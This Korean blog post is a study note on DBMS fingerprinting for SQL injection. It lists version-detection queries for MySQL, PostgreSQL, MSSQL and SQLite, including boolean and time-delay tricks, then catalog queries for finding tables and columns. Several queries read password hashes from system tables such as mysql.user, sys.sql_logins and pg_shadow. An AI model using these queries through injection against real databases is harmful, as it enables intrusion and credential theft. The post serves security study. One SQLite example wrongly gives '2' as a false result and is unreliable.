본문 바로가기
프로그래밍/해킹

DBMS Fingerprinting

by 만디기 2024. 7. 1.

- DBMS는 용도와 목적에 따라 MySQL, MSSQL, Oracle, SQLite 등을 선택해 사용할 수 있는데, 이들은 모두 비슷한 쿼리 형태를 띄지만 각 시스템 별로 제공하는 함수가 다르다.

- SQL Injection 취약점을 발견하면 제일 먼저 DBMS의 종류와 버전을 알아내야 한다.

- 그 다음에는 정보가 포함된 테이블과 컬럼 명을 알아내야 한다.

 

1) DBMS 종류와 버전 알아내기

(1) MySQL

# 쿼리 실행 결과 출력 (ex) version: 8.0.27
mysql> 
select @@version; 
select version();

# 에러 메시지 출력
mysql> select 1 union select 1, 2;

# 참 또는 거짓 출력
mysql> select mid(@@version, 1, 1)='8'; # 결과 값 1
mysql> select mid(@@version, 1, 1)='7'; # 결과 값 0

# 예외 상황
mysql> select mid(@@version, 1, 1)='8' and sleep(2); # 2초 소요
mysql> select mid(@@version, 1, 1)='7' and sleep(2); # 0초 소요

 

(2) PostgreSQL

# 쿼리 실행 결과 출력
postgres=$ select version();
ex) PostgreSQL 14.11 (Debian 14.11-1.pgdg120+2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

# 에러 메시지 출력
postgres=$ select 1 union select 1, 2;

# 참 또는 거짓 출력
postgres=$ select substr(version(), 1, 1)='P'; # 결과값 t(true)
postgres=$ select substr(version(), 1, 1)='S'; # 결과값 f(false)

 

(3) MSSQL

# 쿼리 실행 결과 출력
> select @@version;
/*
ex)
Microsoft SQL Server 2022 (RTM-CU12-GDR) (KB5036343) - 16.0.4120.1 (X64)
Mar 18 2024 12:02:14
Copyright (C) 2022 Microsoft Corporation
Developer Edition (64-bit) on Linux (Ubuntu 22.04.4 LTS)
*/

# 에러 메시지 출력
> select 1 union select 1, 2;

# 참 또는 거짓 출력
> select 1 from test where substring(@@version, 1, 1)='M'; # 쿼리 반환
> select 1 from test where substring(@@version, 1, 1)='S'; # 쿼리 반환하지 않음

# 예외 상황
select '' if(substring(@@version, 1, 1)='M') waitfor delay '0:0:5'; # 5초 소요
select '' if(substring(@@version, 1, 1)='S') waitfor delay '0:0:5'; # 0초 소요

 

(4) SQLite

# 쿼리 실행 결과 출력
sqlite> select sqlite_version(); # ex) 3.27.2

# 에러 메시지 출력
sqlite> select 1 union select 1, 2;

# 참 또는 거짓 출력
sqlite> select substr(sqlite_version(), 1, 1)='3'; # 1 반환
sqlite> select substr(sqlite_version(), 1, 1)='2'; # 2 반환

# 예외 상황
# 시간 지연 코드 발생
select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;
# 1=1 식 실행
select case when substr(sqlite_version(), 1, 1)='2' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;

 

2) 테이블과 컬럼 명 알아내기

 

(1) MySQL

# 시스템 테이블
mysql> show databases;

# 스키마 정보
mysql> select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;

# 테이블 정보
mysql> select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;

# 컬럼 정보
mysql> select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;

# 실시간 실행 쿼리 정보
mysql> select * from information_schema.PROCESSLIST;
mysql> select user,current_statement from sys.session;

# DBMS 계정 정보
mysql> select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
mysql> select User, authentication_string from mysql.user;

 

(2) MSSQL

# 시스템 테이블
SELECT name FROM sys.databases

# 데이터베이스 정보
SELECT name FROM master..sysdatabases; # master 데이터베이스의 sysdatabases 테이블
SELECT DB_NAME(1);

# 테이블 정보
SELECT name FROM master..sysobjects WHERE xtype = 'U'; # xtype='U'는 이용자 정의 테이블을 의미한다.
SELECT table_name FROM master.information_schema.tables;

# 컬럼 정보
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
SELECT table_name, column_name FROM dreamhack.information_schema.columns;

# DBMS 계정 정보
SELECT name, password_hash FROM master.sys.sql_logins;
SELECT * FROM master..syslogins;

 

(3) PostgreSQL

# 초기 데이터 베이스
postgres=$ select datname from pg_database;

# 스키마(카탈로그) 정보
postgres=$ select nspname from pg_catalog.pg_namespace;

# 테이블 정보
postgres=$ select table_name from information_schema.tables where table_schema='pg_catalog';
postgres=$ select table_schema, table_name from information_schema.tables;

# 컬럼 정보
postgres=$ select table_schema, table_name, column_name from information_schema.columns;

# DBMS 계정 정보
postgres=$ select usename, passwd from pg_catalog.pg_shadow;

# DBMS 설정 정보
postgres=$ select name, setting from pg_catalog.pg_settings;

# 실시간 실행 쿼리 확인
postgres=$ select usename, query from pg_catalog.pg_stat_activity;

 

(4) Oracle

# 데이터베이스 정보
SELECT DISTINCT owner FROM all_tables
SELECT owner, table_name FROM all_tables

# 컬럼 정보
SELECT column_name FROM all_tab_columns WHERE table_name = 'users'

# DBMS 계정 정보
SELECT * FROM all_users

 

(5) SQLite

# 시스템 테이블
sqlite> .header on
-- 콘솔에서 실행 시 컬럼 헤더를 출력하기 위해 설정합니다.
sqlite> open dreamhack.db
-- 데이터베이스를 연결합니다.
sqlite> select * from sqlite_master;